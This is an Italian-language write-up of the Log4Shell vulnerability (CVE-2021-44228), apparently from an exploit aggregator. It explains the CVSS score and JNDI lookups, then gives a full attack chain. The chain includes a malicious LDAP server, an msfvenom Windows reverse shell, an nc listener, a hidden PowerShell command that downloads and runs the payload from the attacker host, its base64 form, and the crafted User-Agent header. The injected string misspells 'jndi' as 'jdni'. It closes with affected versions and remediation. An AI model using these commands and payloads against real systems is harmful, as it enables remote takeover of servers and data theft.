## https://sploitus.com/exploit?id=D298A3C8-E215-5549-B1A0-D01215070203
# CVE-2021-44228
Il 9 dicembre 2021 il mondo è venuto a conoscenza di una nuova falla di sicurezza riguardante Log4J. Il punteggio [CVSSv3](https://www.first.org/cvss/) (Common Vulnerability Scoring System) della vulnerabilità, è stato valutato pari a 10, rendendola così di livello critico (https://nvd.nist.gov/vuln/detail/CVE-2021-44228).
<div align="center">
<img src = "https://california18.com/wp-content/uploads/2021/12/nuhdffb-1024x929.jpeg" width="50%" />
</div>
### CVSSv3
Il suo vettore CVSSv3 è il seguente: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`.
Facciamo un po' di chiarezza riguardo i valori così che possa venir compreso a pieno il motivo della valutazione:
* **AV:N (Attack Vector: Network)** : Il vettore di attacco è la rete e quindi, un eventuale dispositivo vulnerabile, è exploitabile da remoto.
* **AC:L (Attack Complexity: Low)** : La complessità dell'attacco è bassa e quindi effettuabile anche da un attaccante con poca conoscenza della vulnerabilità, del suo funzionamento o con poca skill
* **PR:N (Privileged Required: None)** : Non è necessario alcun privilegio all'interno del sistema.
* **UI:N (User Interaction: None)** : Il sistema è vulnerabile anche senza alcuna interazione da parte di un utente.
* **S:C (Scope: Changed)**
* **C:H (Confidentiality: High)** : La confidenzialità delle informazioni all'interno della macchina è completamente compromessa. Questo porta ad una perdita totale di segretezza dei dati e la divulgazione di essi all'attaccante.
* **I:H (Integrity: High)** : L'integrità delle informazioni contenute nella macchina è completamente compromessa. Un attaccante può modificare o eliminare qualsiasi file.
* **A:H (Availability: High)** : L'attaccante è in grado di negare comletamente l'accesso alle informazioni o i servizi della macchina.
## Cos'è Log4J?
Log4J è una libreria Java, ora parte del progetto Apache Software Foundation, che permette di tenere sotto controllo lo stato di un'applicazione.
È lo standard de facto per il logging delle applicazioni Java.
## Come funziona?
La vulnerabilità si basa su JNDI (Java Naming and Directory Interface): un'API Java che permette ad un applicativo di interagire con un servizio di directory esterno (per esempio LDAP).
L'interazione avviene tramite la funzionalità di lookup di JNDI che, abilitata nella configurazioni di default di Log4J, permette l'interazione con un server remoto.
## TCP Reverse Shell via Log4J Exploitation
Alcune piccole precisazioni utili alla lettura:
* L'IP della macchina dell'attaccante è `10.0.0.1`
* L'IP della macchina vulnerabile a Log4Shell è `10.0.0.2`
* Il sistema operativo della macchina vulnerabile è Windows con un'architettura `x86`
* La macchina vulnerabile ha un'applicazione web in esecuzione sulla porta `80` e visitabile all'URL `http://hackme.com`
| :exclamation: ATTENZIONE :exclamation: |
|-----------------------------------------|
**La tecnica d'attacco descritta di seguito deve essere utile solo a comprendere la pericolosità effettiva della vulnerabilità in esame. L'autore prende le distanze e condanna ogni utilizzo improprio del seguente articolo.**
L'obiettivo del seguente attacco è quello di sfruttare Log4Shell per riuscire a scaricare ed eseguire una reverse shell sul sistema vulnerabile così da aver il pieno controllo di esso.
### 1. Configurazione macchina attaccante
1. Andiamo a scaricare la repository contenente il codice necessario per l'inizializzazione di un server LDAP malevolo
```
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222
```
2. Andiamo a creare una reverse shell in TCP per Windows tramite `msfvenom` così da poter ricevere, nella porta `8888`, l'accesso remoto alla macchina
```
msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe
```
3. Inizializziamo un listener, tramite `nc`, nella porta `8888` per ricevere la connessione dalla reverse shell caricata nella macchina vulnerabile
```
nc -lvnp 8888
```
4. Andiamo ad eseguire un server HTTP per permettere il download del malware dalla macchina bersaglio:
```
python3 -m http.server 4444
```
5. Tramite il seguente comando in Powershell, l'attaccante sarà in grado di connettersi al proprio server HTTP, scaricare il malware all'interno della directory `C:\windows\temp` ed eseguirlo
```
powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")
```
5. Andiamo a codificare il payload precedente in `base64` tramite il seguente comando
```
echo 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64
```
Il risultato del comando precedente è il seguente:
```
cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
```
### 2. Exploit
1. Ipotizziamo che l'applicazione web registri l'`User-Agent` di un visitatore. L'attaccante invia una richiesta simile a:
```
GET / HTTP/1.1
Host: hackme.com
User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
```
2. La stringa
```
${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
```
viene passata a Log4J che la interpreta e, tramite JNDI, effettua la richiesta al server LDAP dell'attaccante
```
ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
```
3. Viene scaricato il malware e viene eseguito.
4. L'attaccante ottiene una shell della macchina sulla porta `8888`.
## Sono vulnerabile?
Prima di tutto è doveroso ricordare che è una vulnerabilità che comprende **SOLO** i software che utilizzano Java o qualche derivato (e ovviamente Log4J come libreria di logging).
* `2.0-beta9 - 2.14.1`: Le versioni vulnerabili a Log4Shell vanno dalla `2.0-beta9` alla `2.14.1`.
* `2.15.0`: La versione `2.15.0` di Log4J è stata trovata vulnerabile. [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046). Al momento la valutazione della vulnerabililtà è "9.0 Critical".
* `2.16.0`: La versione `2.16.0` di Log4J è stata trovata vulnerabile. [CVE-2021-45105](https://nvd.nist.gov/vuln/detail/CVE-2021-45105). Al momento la valutazione della vulnerabilità è "7.5 High".
La versione `1.x` di Log4J non è strettamente vulnerabile alla falla di sicurezza di riferimento ma, oltre ad essere stata messa in disuso nel 2015, è affetta dalla seguente vulnerabilità: [CVE-2021-4104](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4104).
## Come posso rimediare?
La soluzione migliore è quella di aggiornare Log4J alla versione `2.17.0`.